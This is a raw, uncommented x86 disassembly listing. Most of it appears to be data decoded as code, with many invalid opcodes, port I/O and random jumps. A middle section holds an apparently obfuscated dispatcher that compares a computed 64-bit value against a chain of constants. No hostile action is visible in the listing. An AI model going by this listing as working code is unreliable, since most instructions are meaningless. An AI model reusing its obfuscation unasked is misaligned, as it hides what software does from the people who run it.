and dword [ecx], esp
mov edx, dword [ecx]
scasd eax, dword es:[edi]
xchg esp, eax
xchg ebp, eax
in al, 0xb3
invalid
xchg ebx, eax
div byte [ebx - 0x4beee495]
or byte [edx - 0x32], bh
out dx, al
invalid
mov ebx, 0xd5bc0e1a
push 0xbe18eee6
ret 0xb256
pop ss
sub dword [edi + edx - 0x11feceaf], eax
inc esp
cdq
das
sti
retf
push edx
or al, byte [ebp + ecx + 0x135c6b01]
jns 0x6e6bd582
or dl, byte [edx + esi*8 - 0x4d]
cmp eax, 0x556868a2
sub eax, eax
pop ebp
les ebp, [edx - 0x609501ba]
mov dword [0xc60e1c2b], eax
test al, 0x43
sub eax, 0x5a55ad4d
mov ebp, 0x822c083b
add dl, byte [esi - 0x59]
cmp eax, 0x51ec96c9
fistp word [ecx]
push eax
mov esp, 0x296ee09
cmp dh, byte [edi + 0x695fc486]
arpl ax, sp
xor dword [eax], ebx
push ebp
loop 0x6e6bd5a5
repne cmpsb byte [esi], byte es:[edi]
fimul dword [ebx]
mov bl, 0x25
mov cl, 0xc1
enter 0xfffffffffffffea1, 0x6b
mov al, byte [0x43b0c12a]
push edi
push ebx
pop edi
pop es
xchg dword [eax], ebx
xor eax, 0x567661c6
mov dword [0x9cd64db4], eax
jbe 0x6e6bd6a2
sub eax, 0xf76bb0c6
and ecx, dword [ecx + 0x1f]
in al, dx
and eax, 0xda972959
mov al, byte [0x8674]
sti
sub dl, byte [edx + 0x19]
retf
or ch, byte [edi]
fldenv [0x331d75c0]
jle 0x6e6bd6bb
sar byte [edx - 0x3fe59356], 0x1d
pop esp
mov gs, word [ecx - 6]
outsd dx, dword [esi]
add dword [ebx + 0x1b], ebx
push 0x2e
movsb byte es:[edi], byte [esi]
popal
cli
xchg esp, eax
cmc
jmp 0x6e6bd6dd
cmpsd dword fs:[esi], dword es:[edi]
sti
inc ebx
into
xchg esp, eax
inc ebp
pushal
ljmp 0x656f
cmc
xor al, 0xb0
push es
in al, 0x3e
mov dh, 0x3f
lodsd eax, dword [esi]
in al, 0x68
sub al, 0xcf
loop 0x6e6bed2d
cmp ebx, dword [eax]
invalid
jae 0x6e6bed9a
cmc
add byte fs:[bx + si - 0x2960], bh
out dx, al
popal
imul edi, dword [edi + 0x720c40d3], 0x42
pop esp
ljmp 0x8714
jecxz 0x6e6bed2c
invalid
invalid
nop
int3
lodsd eax, dword [esi]
fist dword [edx + 0x34533994]
pop ecx
push ebx
xor al, 0x59
xchg ebx, eax
adc eax, 0x957c6513
shl edx, 0x84
mov ch, 0xd5
and edi, dword [ecx - 0xe14e287]
int1
popal
fbstp tbyte [eax + 0x7857363a]
into
sbb dword [eax + esi*4], ebp
jns 0x6e6c1c8f
inc eax
push eax
add al, 0xec
movsb byte es:[edi], byte [esi]
imul edx, dword [esi + 0x5d196dc1], 0x74197548
pop ds
jbe 0x6e6c1c40
test ebx, ecx
aad 0xfd
xor dword [esi + 0x16e78495], ecx
leave
dec esi
adc al, 0x85
loop 0x6e6c1c41
pop esi
dec eax
leave
loopne 0x6e6c1ce2
iretd
mov byte [ecx + 9], 0x7c
mov dword [0x35a222a2], eax
invalid
jl 0x6e6c1c34
mov byte [0xfe35a222], al
out dx, al
jg 0x6e6c1ca1
sahf
mov word [eax], fs
stosb byte es:[edi], al
adc eax, dword [ecx]
sub ecx, edi
mov ss, word [ecx - 0x50]
stc
je 0x6e6c1c89
xlatb
cmp ebx, dword [ebx - 0x61]
sbb bl, byte [0x449bbff7]
cmp al, 0xd1
idiv dword [edi - 0x2ec3bb65]
xor esi, edx
sub esp, eax
mov ah, 0x21
sbb ecx, dword [eax]
jl 0x6e6c1c53
sal dword [ebx], cl
into
xor ebp, esp
jb 0x6e6c1d06
and al, 0x4a
pushal
push ss
pop edi
call 0xa24a03c2
mov ah, 0x5f
dec edi
jecxz 0x6e6c1cae
and dword [eax], 0x19
adc al, 0x13
and dl, byte [edi + 0x50e690a9]
invalid
sbb al, 0xc2
xlatb
inc edx
sbb al, 0xbe
cdq
insb byte es:[edi], dx
cmc
pushfd
cmp eax, 0xcf929180
test dword [eax], esi
stosd dword es:[edi], eax
insd dword es:[edi], dx
jge 0x6e6c1c8c
sal byte [esp + esi*8], 1
push es
jmp 0x6e6c1d57
retf
invalid
or dword [edx - 0x272ab381], eax
mov esi, 0xdeb18cbf
movsb byte es:[edi], byte [esi]
out 0x4c, al
dec esp
cli
dec ecx
loop 0x6e6c3395
or bh, bl
fcom qword [esi]
shl byte [ecx - 0x18], 0xfd
outsb dx, byte [esi]
lar ebx, word [edx + edx*8 - 0x20c39471]
in al, 5
test dword [esi - 0x544e4f97], esp
cmc
jl 0x6e6c33f6
nop
imul ecx, dword [ecx + 0x2e], 0x11
push es
adc dword cs:[esi], eax
cli
lahf
mov ch, 0xd
int1
pop ecx
xor ch, byte fs:[edi + 0x3e639d5a]
stosb byte es:[edi], al
xchg esi, eax
cmpsb byte [esi], byte es:[edi]
xor ch, byte [0xcc90dbf8]
jmp 0x6e6d06ef
push eax
jbe 0x6e6c3404
div byte [esi]
ja 0x6e6c3363
jecxz 0x6e6c3436
cdq
scasd eax, dword es:[edi]
fcom st(5)
fistp qword [ecx]
rol byte [edi + ecx*2 + 0x69b416d9], cl
mov dword [0xc315338f], eax
test byte [ebx], 0x88
add eax, dword [ecx - 0x26]
sub dh, ah
cmp eax, dword [ebx + edx*8 + 0x7d0ebcb9]
and dword [ebp + 0x41931e42], esp
rol byte [esi], cl
cwde
nop
mov edi, ecx
invalid
xor esi, dword [edx - 0x77]
fstp qword [edx - 0x3a]
dec eax
mov dh, 0xbb
push esp
in eax, dx
xchg dword [eax], eax
xchg ebx, eax
mov cl, 0x8b
and byte [ebp + 0x1980f165], cl
and eax, 0x6499b08d
or eax, 0xf59a8126
test esp, ebx
add byte [ecx - 0x6e], dh
add byte [ebp + edx*4 + 0x7bc2d97], 0x68
push ecx
dec ebp
adc dword [edx], 0x3ae15417
pop ss
dec ecx
ret
adc ch, byte [ebx]
outsd dx, dword [esi]
inc eax
jge 0x6e6c347f
mov esp, 0xd4f7480b
sub dword [edi + 0x251a76b4], eax
jmp 0xfc4610f
adc dl, byte [eax - 0x7eccf634]
or esi, esp
and al, 0xb9
mov eax, dword [0xbb3e681a]
ret 0x814a
cmp ebp, dword [edi]
cmpsd dword [esi], dword es:[edi]
pop es
arpl word [edi], si
ret
mov ah, 0x6a
mov bl, 0x89
scasd eax, dword es:[edi]
xchg esp, eax
lodsd eax, dword [esi]
and al, 0x3a
retf 0x4d45
int1
cmpsd dword [esi], dword es:[edi]
cmpsd dword [esi], dword es:[edi]
mov dl, 0xae
jo 0x6e6c6260
push cs
push ds
out 0xd5, al
xchg ebx, eax
ret 0x1cde
pop ebp
scasd eax, dword es:[edi]
mov ebx, 0x7d7aaafb
sub dl, byte [edi - 0x217867d3]
xlatb
nop
jmp 0x6e6c7a67
invalid
invalid
jecxz 0x6e6c912e
retf
cmp byte [edi + 0x7a], 0xfd
jns 0x6e6c91ff
cmpsd dword [esi], dword es:[edi]
jecxz 0x6e6c9179
int 0x9e
or eax, 0x68ddb37e
dec ebx
clc
xor al, 0xeb
xchg esi, eax
or al, 0xc8
mov eax, 0x94143449
xchg esp, eax
push ss
mov bl, 0x6c
mov ah, 0x40
cdq
add dword [esp + ecx], ecx
lds ecx, [ebp + 0x12]
lcall 0xdad8, 0x6f2649a9
mov ecx, 0xaa46ab99
and ebp, dword [ecx]
or eax, 0xee4f308a
loope 0x6e6c91ae
pushfd
ja 0x6e6c9201
pop edx
fsub dword [ebp + esi*2 + 0x64]
invalid
push cs
xchg ebx, eax
fnsave dword [edx]
mov al, byte [0xa7111a7d]
out 0xfa, eax
xor byte [bp + di + 0x7d], dl
arpl word [ebx - 0x495c7a95], dx
mov ebx, 0x216e16f2
cwde
invalid
add ebx, eax
cmp dword [esi + 0x2713028e], edi
jbe 0x6e6ca993
stc
sub al, 0x93
bound ebx, qword [edi - 0x55]
or eax, 0x31e3717f
add byte [ebp + 0x38], dl
std
or dl, ah
and eax, 0xe964b2ba
or al, 0x98
push eax
cmp bh, byte [ebp - 0x66]
jb 0x6e6ca9ab
pop ebp
xor ebp, dword [ebp + 0xad44f42]
pop edx
wait
enter 0xffffffffffff8171, 0xffffffffffffff9f
pop esp
mov byte [0xfe598d2e], al
outsd dx, dword [esi]
adc ebp, dword ss:[edi + edx*8 + 0x6693b91e]
jl 0x6e6ca979
dec edi
push ebx
in eax, dx
lodsb al, byte [esi]
in eax, 0x5f
xchg ecx, eax
lds esp, [edi - 0x5b]
mov dword [edx], edx
arpl word [ebx - 0x5e], dx
inc esi
or eax, 0xf3b5b7e4
dec ebx
sar dword [esp + ebp*8 - 0x5a], 1
sbb al, 0x30
mov ecx, 0xa00a3696
call 0x4aeefd92
push ds
imul edx, dword [eax - 0x2bfbbfc2], 0x6d
xor ebx, dword [edi + 0x65]
aad 0x37
mov eax, dword [0xa498586d]
insd dword es:[edi], dx
pop eax
cwde
movsb byte es:[edi], byte [esi]
inc edx
mov byte [0xe5118454], al
loope 0x6e6ca9fa
test bh, ch
ja 0x6e6ca954
push edi
xor dword [ebx], ebp
cmc
aad 0x83
xor dword [ebx - 0x70067009], ecx
add eax, 0x9590f28
pop esp
hlt
mov ebp, 0x98300093
int3
pop edi
in al, dx
wait
pop es
push ss
push ecx
jae 0x6e6ca987
outsd dx, dword [esi]
mov esi, 0x16fa8ca0
sbb eax, 0x34c3690e
jl 0x6e6caa08
call 0x65f650b4
stc
dec esi
xchg edi, eax
and eax, 0x20c76dcf
invalid
int3
and al, byte [ebp - 0x73]
std
mov dh, 0x10
and al, 0x75
cmpsd dword [esi], dword es:[edi]
fcomp dword [edi - 0x58c0aa41]
adc byte [edi - 0x63], dl
add al, 0xfb
pop ds
mov ebp, 0x6cdf3396
hlt
sbb eax, dword [ebx]
mov edx, 0xe82d5415
sahf
aam 0xab
jns 0x6e6cef03
invalid
jo 0x6e6cef03
mov word [ecx], fs
mov dword [0xc943b497], eax
and al, 0xc
mov ah, 0x51
mov dword gs:[ecx + 0x3d], edi
out 0xbf, al
mul byte [edi]
outsb dx, byte [esi]
xor esp, dword [esi + 0x58]
lea eax, [edi - 0x21]
leave
dec edi
pushal
bound esp, qword [esi]
push cs
cwde
leave
stosb byte es:[edi], al
inc edi
jmp 0xb4eb8301
nop
jmp 0x6e6e99c5
nop
jmp 0x6e6e99c5
mov dword [ebp - 0x120], 0xc7996
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x128], 0xb2d3f
mov dword [ebp - 0x124], 0
mov eax, dword [ebp - 0x11c]
imul eax, dword [ebp - 0x128]
mov edx, eax
mov eax, dword [ebp - 0x124]
imul eax, dword [ebp - 0x120]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x120]
mul dword [ebp - 0x128]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], edx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x12c], edx
mov eax, dword [ebp - 0x130]
xor eax, 0x6de349ea
mov edx, dword [ebp - 0x12c]
xor dl, 0x8b
or eax, edx
je 0x6e6e99c0
mov edx, 0x6de349ea
mov eax, 0x8b
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e6e99c3
mov eax, dword [ebp - 0x130]
xor eax, 0xe512e
or eax, dword [ebp - 0x12c]
je 0x6e6d0acb
mov edx, 0xe512e
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e6e99c3
mov eax, dword [ebp - 0x130]
xor eax, 0xd8b6b
or eax, dword [ebp - 0x12c]
je 0x6e6d68ab
mov edx, 0xd8b6b
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e6e99c3
mov eax, dword [ebp - 0x130]
xor eax, 0xd0be1
or eax, dword [ebp - 0x12c]
je 0x6e6d979b
mov edx, 0xd0be1
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e6e99c3
mov eax, dword [ebp - 0x130]
xor eax, 0xce364
or eax, dword [ebp - 0x12c]
je 0x6e6d5133
mov edx, 0xce364
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e6e99c3
mov eax, dword [ebp - 0x130]
xor eax, 0xc56e2
or eax, dword [ebp - 0x12c]
je 0x6e6e246b
mov edx, 0xc56e2
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e6e99c3
mov eax, dword [ebp - 0x130]
xor eax, 0xbb22d
or eax, dword [ebp - 0x12c]
je 0x6e6d39bb
mov edx, 0xbb22d
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e6e99c3
mov eax, dword [ebp - 0x130]
xor eax, 0xb314a
or eax, dword [ebp - 0x12c]
je 0x6e6d8023
mov edx, 0xb314a
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e6e99c3
mov eax, dword [ebp - 0x130]
xor eax, 0x94f19
or eax, dword [ebp - 0x12c]
je 0x6e6d2243
mov edx, 0x94f19
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e6e99c3
mov eax, dword [ebp - 0x130]
xor eax, 0x77128
or eax, dword [ebp - 0x12c]
je 0x6e6daf13
mov edx, 0x77128
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e6e99c3
mov eax, dword [ebp - 0x130]
xor eax, 0x653fd
or eax, dword [ebp - 0x12c]
je 0x6e6e535b
mov edx, 0x653fd
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e6e99c3
mov eax, dword [ebp - 0x130]
xor eax, 0x571c8
or eax, dword [ebp - 0x12c]
je 0x6e6e0cf3
mov edx, 0x571c8
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e6e99c3
mov eax, dword [ebp - 0x130]
xor eax, 0x47caf
or eax, dword [ebp - 0x12c]
je 0x6e6dc68b
mov edx, 0x47caf
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e6e99c3
mov eax, dword [ebp - 0x130]
xor eax, 0x394de
or eax, dword [ebp - 0x12c]
je 0x6e6e3be3
mov edx, 0x394de
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e6e99c3
mov eax, dword [ebp - 0x130]
xor eax, 0x25589
or eax, dword [ebp - 0x12c]
je 0x6e6e824b
mov edx, 0x25589
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e6e99c3
mov eax, dword [ebp - 0x130]
xor eax, 0xf663
or eax, dword [ebp - 0x12c]
je 0x6e6dde03
mov edx, 0xf663
mov eax, 0
cmp edx, dword [ebp - 0x130]
sbb eax, dword [ebp - 0x12c]
jl 0x6e6e99c3
mov eax, dword [ebp - 0x130]
xor eax, 0xb5e0
or eax, dword [ebp - 0x12c]
je 0x6e6e6ad3
mov eax, dword [ebp - 0x130]
xor eax, 0xdebc
or eax, dword [ebp - 0x12c]
je 0x6e6df57b
jmp 0x6e6e99c3
mov edi, 0x21748f38
retf 0x8782
jg 0x6e6d2270
push ecx
clc
push esi
movsd dword es:[edi], dword [esi]
clc
stc
xchg esp, eax
sub ebx, dword [ecx + 0x29]
pop eax
sbb al, byte [ecx + 0x34b64fe2]
lahf
pop ecx
push es
aam 0xd7
cdq
mov edi, 0x1481e31
mov al, byte [0xdc7d2df1]
xor dword [esi], ebx
dec eax
add dword [eax - 0x2382d20f], esp
push edi
sbb al, 0x37
jo 0x6e6d225d
adc ch, al
adc ecx, dword [ebx]
add byte [edi - 0xc], al
xor byte [edx + 0x11], dl
lahf
ror dword [edi + 0x23], 1
adc eax, 0xd6f3ab9c
aam 0x59
mov dh, 0xd6
mov dh, 0x87
cmp al, 0xce
pop ebp
xor eax, 0xc8123854
or eax, 0x759b6d81
ret
inc edi
hlt
mov bh, 0xb9
cmp eax, 0x9e08dd32
adc eax, 0x1c8904ad
les edi, [edx - 0x14ca4195]
clc
add byte [edi + 0x18e7bbe2], al
adc dh, ch
cli
invalid
and byte [eax + 0x59], bh
mov esi, 0x572d17c7
inc ecx
push ebx
rcl dword [ebx - 0x577e791b], cl
and dword [eax + 0x11], ebp
stc
movsb byte es:[edi], byte [esi]
and esi, dword [ebx + 0xf]
wait
out dx, eax
leave
scasb al, byte es:[edi]
adc eax, 0x9146237b
sal esp, 0x92
invalid
rcl byte [eax - 7], cl
push ebx
mov edi, 0x77af8245
mov ch, 0x88
push cs
and byte [edi + 0x2c], 0xc1
in eax, dx
sahf
adc al, 0xa8
xchg esp, eax
jnp 0x6e6d692d
test byte [ebx + esi], cl
inc edx
dec esi
fisub dword [ebp + 0x60]
in eax, dx
pop es
retf
add al, 0xaf
int3
pop ss
and byte [edi + ebp*2 - 0x3b], 0xe4
dec eax
pop ecx
invalid
xchg ecx, eax
add byte [ebx], al
add eax, 0x9d9d5c4a
sbb al, 0xf0
daa
out dx, eax
pop esi
invalid
mov bh, 0x61
pop esi
salc
aas
arpl di, ax
inc eax
jo 0x6e6d7fa0
push ds
add byte [ebp - 0x26dc42c5], dl
imul esi, edx, 0xffffffb6
aam 0xf2
adc ecx, ebp
sahf
xor ecx, ecx
sti
mov ebp, 0xadea1ccc
cdq
xor ah, dl
sub eax, 0xe9cc905c
mov eax, dword [0x3a000119]
cwde
bound edi, qword [ebx + 0x5d]
pop edx
cmp bl, byte [eax + 0x5a5d7b62]
add ebx, ebx
and dword [edx - 8], edi
wait
mov ecx, 0x5e8e5d45
out 0xf0, al
mov dl, 0x24
add al, 0xb1
mov edi, 0x70e4cbaf
mov cl, 0x17
and al, 0x25
lodsb al, byte [esi]
mov ebp, 0xa3f3e183
dec edi
jns 0x6e6d7ff5
sub dword [esp + edi*2 + 3], ecx
xchg edi, eax
inc ebp
test al, 0x66
jle 0x6e6d7fd8
mov dl, 7
and al, 0x4a
sbb edi, edx
pop ds
add dword [eax], esp
rcl dword [esi + 0x32], cl
int3
ja 0x6e6d977a
rol ebx, 0x55
xor eax, 0xdf3ecbc9
dec edx
stosb byte es:[edi], al
fisttp word [edx - 0x56]
not byte [edx]
add al, 0x1e
and ecx, ebp
imul edi, ecx, 0x5a578d6c
sub ah, dh
xor ebp, esp
dec byte [edx + 0x57]
jmp 0x6e6d97b2
push edi
adc eax, 0x34324302
push esp
xor eax, esi
push ebp
cmp eax, 0xc5f5496f
mov al, 0x3d
pop esp
cmc
push ebp
test eax, 0x72b58927
mov ch, 0x72
cli
outsd dx, dword [esi]
cmp ebx, edx
jno 0x6e6d9771
fnsave dword [esi]
cmp ebx, eax
mov edx, 0xdd3f9b6f
ja 0x6e6d9836
aas
fnsave dword [edi + 0x70]
mov cl, 0xa0
cmp eax, 0x81e04c3
ror byte [edi], cl
push cs
dec eax
das
js 0x6e6d983e
insd dword es:[edi], dx
mov esp, 0xc8f2baed
cli
jae 0x6e6d97c2
and eax, 0xe67fdd4e
sbb edx, dword [ebp - 0x457ad006]
lea esi, [eax]
inc ebp
les edx, [ebp + 0x785395bb]
mov dl, 0xde
inc esp
jmp 0x276fc49a
invalid
invalid
sbb edi, dword fs:[esi]
xchg edx, eax
jecxz 0x6e6d981f
sal cl, 0x11
mov eax, dword [0x3b89ca09]
xor al, 0x10
out 0x72, eax
mov ebx, 0x9ecfeac6
ret 0xa89c
invalid
sal byte [edi], cl
rcl dword [edx]
loopne 0x6e6daf43
bound eax, qword [ecx + 1]
push ecx
sub al, 0xa
stosb byte es:[edi], al
pop ebx
push esi
mov edi, 0x2b13571c
push eax
ret
add byte [eax], al
xor ecx, edi
adc byte [edx + edi*4], cl
enter 0xb41, 0x61
xor dword [eax + esi*8], esi
dec eax
jecxz 0x6e6daee5
push 0xad8f451
or al, byte [ebp + 0x58]
fmulp st(2)
mov al, 0x60
xor dl, byte [ebx]
jge 0x6e6daf11
insb byte es:[edi], dx
into
jae 0x6e6daed3
cli
retf
jmp 0x54b163ef
cwde
into
xlatb
push esi
pop ss
push ds
or edx, eax
xor dword [ebx + 0x50], 0x60c966cb
outsb dx, byte [esi]
mov esp, 0xf6fcb741
sub cl, dl
int 0xce
sets byte [edi - 0xb]
xchg dh, bl
shl byte [esi + ebx*8], cl
mov dword [0x601c7384], eax
test byte [ebp - 0x6a], bl
pushal
xchg eax, ebx
inc esi
invalid
test dword [edx], 0x60ed203e
mov bl, 0xc0
das
add ebx, dword [edi - 0x1f6b72d]
adc byte [edi + esi - 0x273717f3], cl
pop es
mov esi, dword [edx + 0x47ae640f]
imul edi, dword [edx], 0x6bee9597
dec edi
arpl word [ebx], di
imul ecx, dword [ebx - 0x5b], 0x6a
imul edx, dword [ebx], 0x2b
mov dl, 0x8d
and bl, ah
fist word [ecx + 0xaabb74f]
invalid
or dword [eax], ebp
int1
out dx, al
mov byte [0x8fe6a54c], al
outsd dx, dword [esi]
inc ecx
pop edi
idiv dword [esi]
push 0xf5303444
mov bl, byte [ebx - 0x31]
xchg ecx, eax
xchg esi, eax
frstor dword [ebx - 0x38ec6f16]
or dword [eax + ebp - 0x663ab463], 0xb68aaa20
or al, 0xc9
pop ebx
xor al, 0x19
and byte [esi + 0x3b], bl
outsd dx, dword [esi]
js 0x6e6df549
int 0x96
dec eax
cmp bh, byte [ecx - 0x1ea51ec6]
ror dword [edi + 0x53], 0xca
clts
lodsd eax, dword [esi]
invalid
loope 0x6e6df4ec
dec edi
push ebx
retf 0x60f
into
push cs
test edi, eax
and dx, word [edx - 0x5c1ef798]
loope 0x6e6df4ee
pop edi
mov word [edx + 0x7ab498c], cs
in eax, dx
mov ecx, 0xc7cf89f
cmc
fmulp st(0)
mov ebx, 0x1eedd45a
cwde
pop esi
rcr byte [ebx + 0x268e2dd], cl
inc ebx
fldcw word [edi]
jl 0x6e6df529
pop es
inc ebp
adc dl, al
and dword [edx], 0x49e9cc90
movsb byte es:[edi], byte [esi]
add byte [eax], al
clc
xor al, dl
mov al, byte [0xa3f06901]
xor dword [esi - 0x2f], esp
sub dh, al
jg 0x6e6df5bd
mov ecx, 0xf7106eba
call 0xf3ac9c91
jo 0x6e6df570
cmc
mov ebx, 0xa3a54f82
pop ss
stosb byte es:[edi], al
ljmp 0x2696
jne 0x6e6df540
in al, 0x21
stosd dword es:[edi], eax
mov al, byte [0x5c30775f]
push 0x93dc6734
cli
xor byte [ebp - 0x6d56dec2], dl
les ecx, [ebx + 0xc]
retf
out dx, eax
rcr dword [ebp - 0x61cc24db], cl
loop 0x6e6e0cbf
dec ebx
out dx, eax
mov esp, 0x29b19d8
das
inc ecx
dec esp
add byte [ebp + ebx*2 - 0x415acc3e], dl
fisubr dword [eax + 0x75]
and al, 0xdd
add dl, byte [edx]
int1
in eax, dx
cmp byte ss:[ebx + 0x5220e87e], al
push cs
push ds
sbb byte [edx + 0x6f], 0x1b
mov dword [ebp + 0x38], ecx
mov ecx, 0x8a9da4c4
push cs
sar dword [edx], 1
adc cl, cl
or eax, 0xf27fbef0
loope 0x6e6e0c80
invalid
sti
sbb esi, ebp
mov byte [0x7cd809ce], al
cli
fdivr dword [edx + edi*8 - 0x60]
retf
jl 0x6e6e0cc8
mov al, byte [0x980209cb]
mov esp, 0xbf78e1b1
dec eax
rcr dl, cl
jo 0x6e6e0cf4
push ebx
add dl, byte [ebp + 0x1a417887]
inc ebp
adc eax, 0x831ca8ef
jl 0x6e6e0d19
sbb al, byte [ebp + 0x15]
out dx, eax
test al, 0x1c
cmp dword [ebp + ebp - 0x70], 0xffffffcc
jmp 0x6e6e99c4
nop
int3
in eax, 0xcb
jo 0x6e6e0cab
retf
push esp
mov dword [ebx], 0x854f82c3
push ecx
int1
add ch, byte [esi + eax]
cmc
mov edx, 0x86aeb795
push esi
imul edx, dword [edi], 0xfffffffc
dec esp
movsd dword es:[edi], dword [esi]
lodsb al, byte [esi]
das
test al, 0xc
shl dword [eax], 1
jns 0x6e6e0d91
js 0x6e6e0d1d
add edx, dword [ebx]
lcall 0xa461, 0x6cde96b0
adc ebx, dword [edx + 0x6cde96b0]
popal
movsb byte es:[edi], byte [esi]
xchg esi, eax
fisubr word [ecx - 0x5c]
mov ecx, 0x72a3fba2
dec edi
push 0x9bf8e6cc
inc ecx
je 0x6e6e0cb3
shr dword [ebp - 0x5ef71928], 1
je 0x6e6e0ce6
and bl, byte [edx - 0x698b339a]
jbe 0x6e6e0ccb
push ebx
in al, dx
int 0x17
push edi
jne 0x6e6e0d4e
test esp, esp
jae 0x6e6e0ccc
mov ds, word [ebx]
test al, 0xc6
arpl word [ecx + 0x78], sp
push es
sub al, byte [esi + 0x16]
xor eax, 0x92f8aa3
add eax, 0xa9398b6e
jge 0x6e6e0ce3
invalid
mov byte [0xb56c0f6d], al
in al, 0x8d
sar eax, 1
lea ecx, [esi - 0x59]
cmp eax, 0x6723b7f7
adc ebp, ebp
pop edi
push edi
aad 0x10
out dx, al
retf
sbb ebx, edx
adc eax, 0xfa11bbe4
mov esi, 0x29d838e7
mov ecx, 0x994daee6
mov dword [0x4a96b19b], eax
sbb al, 0x2c
cmp edx, dword [edi - 0x3f5457ad]
lahf
std
sbb al, 0x29
cmp edi, esp
arpl word [edi - 0x50225a3c], bx
xor al, 0xa7
in eax, dx
sahf
sub byte [eax + 0x69e2f1cc], dl
xchg edi, eax
push esp
mov ebp, 0xbe257085
and al, 0xc1
retf
xchg bl, dh
xchg byte [edx + 0x66], ah
pop ebp
invalid
xor al, 0xe
mov fs, ecx
dec ebp
inc ebx
jne 0x6e6e23d4
mov word [edx + ecx*8 + 0x558a845a], ds
invalid
or esi, edx
imul eax, dword [0x37e1ca9c], 0xa983fc12
scasb al, byte es:[edi]
out 0xd3, al
xlatb
cld
inc edi
invalid
mov dword [0xbd19ef44], eax
lahf
inc ebp
push esi
jo 0x6e6e2499
pop ebx
call 0x75c9e4b9
pop eax
mov dword [0xc42ce98f], eax
rol byte [edi + 0x60], 0xe3
je 0x6e6e248e
daa
loopne 0x6e6e2490
xor edi, dword [edi - 0x581e12c7]
in eax, dx
loope 0x6e6e2438
cmpsd dword [esi], dword es:[edi]
mov byte [0x45e4d37c], al
mov dword [0x89f065f8], eax
pop ss
xchg edx, eax
cmc
loop 0x6e6e244e
invalid
fisttp dword [ecx + 0x4b7ff986]
push ecx
sbb byte [esp + ebx*8], 0x28
mov esp, 0xc4969fc4
and al, 0xa3
or byte [eax], dl
pop edi
jne 0x6e6e24c2
xor byte [esi + 0x33], bh
mov esi, 0xa84654b3
or byte [edi + ebx*8 - 0x70ad955f], bh
sub dword [ecx - 0x1a9a3d45], eax
pcmpeqw mm2, qword [esi]
adc bl, byte [eax]
push edx
pop ebx
in eax, dx
push ds
salc
adc ebx, ebx
sbb al, 0x38
in al, 0x58
jb 0x6e6e2524
mov esp, 0x526aa1df
invalid
dec esp
mov cl, 0x85
mov ebx, 0x501cf00a
jmp 0x840263a7
or al, 0x3a
or ebp, dword [ebp + esi*2 - 0x5c]
and ch, byte [esp + ecx*2 - 0x55dd2a54]
dec eax
add eax, 0xbd525b1e
nop
int3
add bh, byte [ebx]
enter 0xffffffffffffdd5c, 0xffffffffffffff8f
push 0x12cbc340
dec ecx
xor al, 0xb3
shl dword [ebp - 0x7c8313cb], 0x15
push ss
mov edx, 0xb9be5403
sbb byte [ecx], ah
mov al, byte [0x46dbf4e5]
cmp dword [esi - 0x14], 0x70
rcl dword [eax + 0x5de1e9cc]
add byte [eax], al
xchg ecx, eax
push es
adc ah, byte [edx - 0x7e]
pop edi
push 0xffffffffffffff98
adc byte [edx], 0xa5
out dx, al
lds eax, [edx + 0x1b]
test eax, 0x9f47532f
sub eax, 0xa0384d13
jno 0x6e6e3bb5
mov dh, 0x63
mov dl, 0x3a
add ch, byte [ecx - 0x4e2e0cb8]
sbb dword [eax], ecx
jg 0x6e6e3c57
lcall 0xeeed, 0x19016154
add dword [ecx], ebx
in eax, dx
out dx, al
adc edx, dword [esi - 0x2b]
push es
jns 0x6e6e3c33
stosb byte es:[edi], al
in eax, 0x80
lcall 0x284b, 0xedd5bfc4
lcall 0x6712, 0xf0fcec65
fild qword [eax + 0x72]
mov edx, 0x4b704f83
inc eax
shl dword [ebp + 0x451fe9cc], 0x64
cli
push es
xor esi, edx
jecxz 0x6e6e3c0f
add ah, byte [edi - 0x7b]
call 0x35a2fc06
inc ebx
iretd
adc al, 0xfa
invalid
retf
mov byte [0x23b666e], al
mov bh, 0x25
jnp 0x6e6e6a7d
test eax, 0x53f9c8a5
add dl, byte es:[eax]
sub al, 0x12
cli
out 0xe, eax
or eax, 0x79049bb3
invalid
mov dh, 0x66
cld
test eax, 0x5cd98523
and dword [ebx + 0x68], ecx
xor eax, 0xb5ae86c6
cmpsb byte [esi], byte es:[edi]
ja 0x6e6e6a62
ror dword [ecx], 0x26
clc
xchg ebx, eax
and al, 0x5d
jmp 0x6e6e6b0b
mov edi, 0xf608c5b5
neg al
mov ecx, 0x23788b17
enter 0xffffffffffff9282, 0xfffffffffffffffb
push 0xffffffffffffffdb
dec edi
js 0x6e6e6a94
in eax, dx
loop 0x6e6e6b38
in al, dx
int3
xor esi, esp
jo 0x6e6e6aac
dec esi
ret 0x351e
or al, 0x5c
std
adc ah, byte [ebp + 0x70]
into
jge 0x6e6e6afc
mov eax, dword [0xcaa1bc4]
aam 0x85
